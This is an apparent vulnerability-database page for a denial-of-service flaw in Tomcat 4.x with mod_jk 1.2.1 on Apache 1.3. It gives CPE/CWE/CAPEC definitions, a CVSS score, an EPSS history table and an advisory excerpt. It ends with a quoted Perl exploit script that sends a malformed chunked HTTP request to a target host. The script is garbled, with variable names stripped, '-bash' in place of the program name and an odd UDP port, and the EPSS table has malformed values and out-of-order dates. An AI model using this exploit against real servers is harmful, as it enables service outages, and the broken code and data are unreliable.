CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Tomcat 4.0 through 4.1.12, using mod_jk 1.2.1 module on Apache 1.3 through 1.3.27, allows remote attackers to cause a denial of service (desynchronized communications) via an HTTP GET request with a Transfer-Encoding chunked field with invalid values.
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.8
AV:N/AC:L/Au:N/C:N/I:N/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
5.48%
–
–
2022-04-03
–
–
5.48%
–
–
2022-09-04
–
–
5.48%
–
–
2023-03-12
–
–
–
0.36%
–
2023-08-06
–
–
–
0.36%
–
2023-12-03
–
–
–
0.72%
–
2024-01-14
–
–
–
0.72%
–
2024-02-11
–
–
–
0.72%
–
2024-06-02
–
–
–
0.72%
–
2024-08-25
–
–
–
1.53%
–
2024-11-17
–
–
–
1.53%
–
2024-12-22
–
–
–
1.23%
–
2025-03-09
–
–
–
1.23%
–
2025-01-19
–
–
–
1.23%
–
2025-03-09
–
–
–
1.23%
–
2025-03-18
–
–
–
–
15.92%
2025-04-11
–
–
–
–
12.37%
2025-05-01
–
–
–
–
12.37%
2025-05-04
–
–
–
–
12.37%
2025-05-16
–
–
–
–
12.37%
2025-05-16
–
–
–
–
12.37,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/6320/info
Apache Webserver and Tomcat are HTTP servers maintained and distributed by the Apache project. Apache Webserver and Tomcat are available for the Unix, Linux, and Microsoft Windows platforms.
It has been reported that a denial of service exists in Apache Webserver and Tomcat when mod_jk is used. Due to design problems in the module, a user submitting malicious requests to the Apache Webserver may cause desynchronization between Apache and Tomcat. This could be done through malicious chunked encoding requests.
#!/usr/bin/perl -w
use IO::Socket;
= "Apache 1.3.x, Tomcat 4.x Server, mod_jk 1.2 using Apache Jserv
Protocol 1.3";
unless (@ARGV == 1) {
print "\n By Sapient2003\n";
die "usage: -bash <host to exploit>\n";
}
print "\n By Sapient2003\n";
= "GET / HTTP/1.0\nHost: [0]\nTransfer-ENcoding:
Chunked\n53636f7474";
= IO::Socket::INET->new(
PeerAddr => [0],
PeerPort => 69,
Proto => "udp",
) or die "Can't find host [0]\n";
print ;
print "Attempted to exploit [0]\n";
close();